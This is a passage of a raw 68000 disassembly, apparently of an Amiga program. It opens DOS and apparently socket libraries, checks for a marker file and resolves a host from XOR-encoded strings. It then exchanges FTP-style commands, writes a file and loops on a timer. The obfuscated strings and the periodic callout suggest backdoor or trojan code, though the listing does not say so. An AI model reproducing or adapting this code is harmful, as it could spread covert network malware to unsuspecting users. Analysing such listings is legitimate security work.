MOVE.B D1,1(A0) ;70A: 11410001
LAB_0053:
MOVEQ #0,D2 ;70E: 7400
LSR.L #1,D0 ;710: E288
BRA.S LAB_0050 ;712: 60DC
LAB_0054:
ORI.B #$10,D0 ;714: 00000010
ORI.B #$00,D0 ;718: 00000000
LAB_0055:
BSR.S LAB_0056 ;71C: 611C
DC.W $2C7A ;71E
DC.W $023C ;720
LEA LAB_006A(PC),A1 ;722: 43FA0194
MOVE.L A1,D1 ;726: 2209
MOVEQ #-2,D2 ;728: 74FE
JSR -84(A6) ;72A: 4EAEFFAC
MOVE.L D0,D1 ;72E: 2200
BEQ.S LAB_0057 ;730: 6710
JSR -90(A6) ;732: 4EAEFFA6
BRA LAB_0059 ;736: 600000AE
LAB_0056:
DC.W $4BFA ;73A
ANDI #$4695,(A0) ;73C: 02504695
RTS ;740: 4E75
LAB_0057:
MOVEA.L (ABSEXECBASE).W,A6 ;742: 2C780004
LEA LAB_0069(PC),A1 ;746: 43FA015E
CLR 234(A1) ;74A: 426900EA
MOVEQ #3,D0 ;74E: 7003
JSR -552(A6) ;750: 4EAEFDD8
TST.L D0 ;754: 4A80
BEQ LAB_0059 ;756: 6700008E
LEA LAB_006C(PC),A0 ;75A: 41FA0162
MOVE.L D0,190(A0) ;75E: 214000BE
MOVEA.L D0,A6 ;762: 2C40
JSR -210(A6) ;764: 4EAEFF2E
TST.L D0 ;768: 4A80
BEQ.S LAB_0058 ;76A: 676E
DC.W $41FA ;76C
DC.W $0212 ;76E
MOVE.L D0,(A0) ;770: 2080
MOVEA.L D0,A5 ;772: 2A40
MOVE.L 8(A5),D0 ;774: 202D0008
MOVEQ #1,D1 ;778: 7201
MOVEQ #0,D2 ;77A: 7400
MOVEA.L 16(A5),A1 ;77C: 226D0010
MOVEA.L (A1),A1 ;780: 2251
MOVE.L (A1),-28(A0) ;782: 2151FFE4
JSR -30(A6) ;786: 4EAEFFE2
DC.W $41FA ;78A
BSET D0,(A4) ;78C: 01D4
MOVE.L D0,36(A0) ;78E: 21400024
ADDQ.L #1,D0 ;792: 5280
BEQ.S LAB_0058 ;794: 6744
SUBQ.L #1,D0 ;796: 5380
MOVEQ #16,D1 ;798: 7210
JSR -54(A6) ;79A: 4EAEFFCA
TST.L D0 ;79E: 4A80
BNE.S LAB_0058 ;7A0: 6638
BSR LAB_005F ;7A2: 61000082
MOVE.L D0,-(A7) ;7A6: 2F00
DC.W $203A ;7A8
BSET D0,(A2)+ ;7AA: 01DA
MOVEQ #2,D1 ;7AC: 7202
JSR -84(A6) ;7AE: 4EAEFFAC
DC.W $203A ;7B2
BSET D0,(A0) ;7B4: 01D0
JSR -120(A6) ;7B6: 4EAEFF88
MOVE.L (A7)+,D0 ;7BA: 201F
BNE.S LAB_0058 ;7BC: 661C
DC.W $2C7A ;7BE
BCLR D0,(A4)+ ;7C0: 019C
LEA LAB_006A(PC),A1 ;7C2: 43FA00F4
MOVE.L A1,D1 ;7C6: 2209
MOVE.L #$000003EE,D2 ;7C8: 243C000003EE
JSR -30(A6) ;7CE: 4EAEFFE2
MOVE.L D0,D1 ;7D2: 2200
BEQ.S LAB_0058 ;7D4: 6704
JSR -36(A6) ;7D6: 4EAEFFDC
LAB_0058:
MOVEA.L (ABSEXECBASE).W,A6 ;7DA: 2C780004
DC.W $227A ;7DE
BCLR D0,(A4)+ ;7E0: 019C
JSR -414(A6) ;7E2: 4EAEFE62
LAB_0059:
BSR LAB_0056 ;7E6: 6100FF52
DC.W $2C7A ;7EA
DC.W $0170 ;7EC
MOVE.L #$00007530,D1 ;7EE: 223C00007530
JSR -198(A6) ;7F4: 4EAEFF3A
BRA LAB_0055 ;7F8: 6000FF22
LAB_005A:
MOVE.L #$000001FF,D1 ;7FC: 223C000001FF
LAB_005B:
DC.W $203A ;802
BCLR D0,D0 ;804: 0180
MOVEQ #0,D2 ;806: 7400
RTS ;808: 4E75
LAB_005C:
MOVEA.L LAB_0067(PC),A0 ;80A: 207A008A
BSR.S LAB_005A ;80E: 61EC
JSR -78(A6) ;810: 4EAEFFB2
LAB_005D:
ADDQ.L #1,D0 ;814: 5280
RTS ;816: 4E75
LAB_005E:
BSR.S LAB_005B ;818: 61E8
ANDI.L #$000000FF,D1 ;81A: 0281000000FF
JSR -66(A6) ;820: 4EAEFFBE
BRA.S LAB_005D ;824: 60EE
LAB_005F:
MOVEQ #0,D1 ;826: 7200
MOVEA.L LAB_0067(PC),A0 ;828: 207A006C
BSR.S LAB_005E ;82C: 61EA
BEQ.S LAB_0064 ;82E: 6752
BSR.S LAB_005C ;830: 61D8
BEQ.S LAB_0064 ;832: 674E
MOVE.L #$32323000,D0 ;834: 203C32323000
BSR.S LAB_0066 ;83A: 614E
BNE.S LAB_0064 ;83C: 6644
LEA LAB_006E+1(PC),A0 ;83E: 41FA0097
LAB_0060:
LEA LAB_006D(PC),A1 ;842: 43FA008C
CLR.L D1 ;846: 4281
MOVE 192(A1),D1 ;848: 322900C0
MOVE.B 0(A1,D1.W),D1 ;84C: 12311000
MOVEA.L A0,A2 ;850: 2448
ADDA.L D1,A2 ;852: D5C1
MOVE.L A2,-(A7) ;854: 2F0A
ADDQ #1,192(A1) ;856: 526900C0
BSR.S LAB_005E ;85A: 61BC
BEQ.S LAB_0063 ;85C: 6722
DC.W $323A ;85E
DC.W $0130 ;860
CMP #$0006,D1 ;862: B27C0006
BGE.S LAB_0061 ;866: 6C06
CMP #$0005,D1 ;868: B27C0005
BGE.S LAB_0062 ;86C: 6C04
LAB_0061:
BSR.S LAB_005C ;86E: 619A
BEQ.S LAB_0063 ;870: 670E
LAB_0062:
MOVEA.L (A7)+,A0 ;872: 205F
DC.W $343A ;874
BTST D0,(A2)+ ;876: 011A
CMP #$0007,D2 ;878: B47C0007
BNE.S LAB_0060 ;87C: 66C4
BRA.S LAB_0065 ;87E: 6006
LAB_0063:
ADDQ.L #4,A7 ;880: 588F
LAB_0064:
MOVEQ #-1,D0 ;882: 70FF
RTS ;884: 4E75
LAB_0065:
MOVEQ #0,D0 ;886: 7000
RTS ;888: 4E75
LAB_0066:
MOVEA.L LAB_0067(PC),A0 ;88A: 207A000A
CLR.B 3(A0) ;88E: 42280003
CMP.L (A0),D0 ;892: B090
RTS ;894: 4E75
LAB_0067:
ORI #$64DC,(A3)+ ;896: 005B64DC
LAB_0068:
DC.W $646F ;89A
DC.W $732E ;89C
DC.W $6C69 ;89E
BHI.S LAB_006F ;8A0: 6272
BSR.S LAB_0070 ;8A2: 6172
DC.W $7900 ;8A4
LAB_0069:
ADDA A5,A4 ;8A6: D8CD
ADDA A5,A7 ;8A8: DECD
ADDA.L (A5)+,A2 ;8AA: D5DD
ADDA.L (A3)+,A0 ;8AC: D1DB
AND.L (A0),D7 ;8AE: CE90
ADDA (A7),A3 ;8B0: D6D7
ADDA A4,A4 ;8B2: D8CC
ADDA.L A4,A5 ;8B4: DBCC
DC.W $C3BE ;8B6
LAB_006A:
ASL.L #4,D4 ;8B8: E984
LAB_006B:
ASR -66(A7,A7.L) ;8BA: E0F7F8BE
LAB_006C:
ADDA (A7),A3 ;8BE: D6D7
ADDA A2,A2 ;8C0: D4CA
ADDA.L A3,A7 ;8C2: DFCB
MULU (A1),D7 ;8C4: CED1
SUBA A2,A2 ;8C6: 94CA
ADDA.L A3,A7 ;8C8: DFCB
MULU (A1),D7 ;8CA: CED1
SUBA (A2)+,A2 ;8CC: 94DA
DC.W $DFBE ;8CE
LAB_006D:
CMP.L -25672(A6),D2 ;8D0: B4AE9BB8
DC.W $8FBB ;8D4
LAB_006E:
DC.W $BCF6 ;8D6
DC.W $FFF2 ;8D8
DC.W $F59E ;8DA
DC.W $CECC ;8DC
MULS (A7),D4 ;8DE: C9D7
SUBA (A2)+,A2 ;8E0: 94DA
DC.W $DFB3 ;8E2
DC.W $B0F3 ;8E4
DC.W $FBF7 ;8E6
DC.W $F69E ;8E8
DC.W $FCEC ;8EA
DC.W $F5F3 ;8EC
OR.L D2,D0 ;8EE: 8082
ADDA.L (A3)+,A3 ;8F0: D7DB
OR.L -20(A3,A3.W),D2 ;8F2: 84B3B0EC
DC.W $F9EE ;8F6
ROR.L #7,D6 ;8F8: EE9E
DC.W $EEF1 ;8FA
OR.L D2,D0 ;8FC: 8082
MULU (A7),D6 ;8FE: CCD7
DC.W $C8CB ;900
DC.W $C9C9 ;902
ADDA.L A4,A2 ;904: D5CC
ADDA.L A5,A0 ;906: D1CD
ADDA (A1),A1 ;908: D2D1
DC.W $CAFE ;90A
DC.W $CECC ;90C
MULS (A7),D4 ;90E: C9D7
SUBA (A2)+,A2 ;910: 94DA
ADDX.L D0,D7 ;912: DF80
LAB_006F:
DC.W $B7B4 ;914
LAB_0070:
DC.W $FEFF ;916
DC.W $EEFF ;918
DC.W $B7B4 ;91A
DC.W $FBD0 ;91C
ADDA.L A2,A2 ;91E: D5CA
ADDA (A3)+,A1 ;920: D2DB
AND.L (A6)+,D4 ;922: C89E
OR.L D5,(A6)+ ;924: 8B9E
ADDA (A7),A4 ;926: D8D7
MULU (A3)+,D7 ;928: CEDB
AND.L D4,(A6)+ ;92A: C99E
MULU (A6),D7 ;92C: CED6
ADD.L D7,(A6)+ ;92E: DF9E
ADDA A3,A7 ;930: DECB
DC.W $C9CA ;932
SUB.L D5,(A7)+ ;934: 9B9F
SUBA EXT_0001,A5 ;936: 9AF9C8DBDFCA
AND.L (A6)+,D0 ;93C: C09E
MULU (A1),D7 ;93E: CED1
SUBA #$FFF1,A5 ;940: 9AFCFFF1
DC.W $F69E ;944
ADDA.L (A0),A5 ;946: DBD0
ADD.L (A6)+,D7 ;948: DE9E
DC.W $F8F1 ;94A
DC.W $F1F1 ;94C
ROXR.L D4,D3 ;94E: E8B3
CMP.L -112(A3,A3.W),D0 ;950: B0B3B090
DC.W $B7B4 ;954
DC.W $EBEB ;956
DC.W $F3EA ;958
DC.W $B7B4 ;95A
END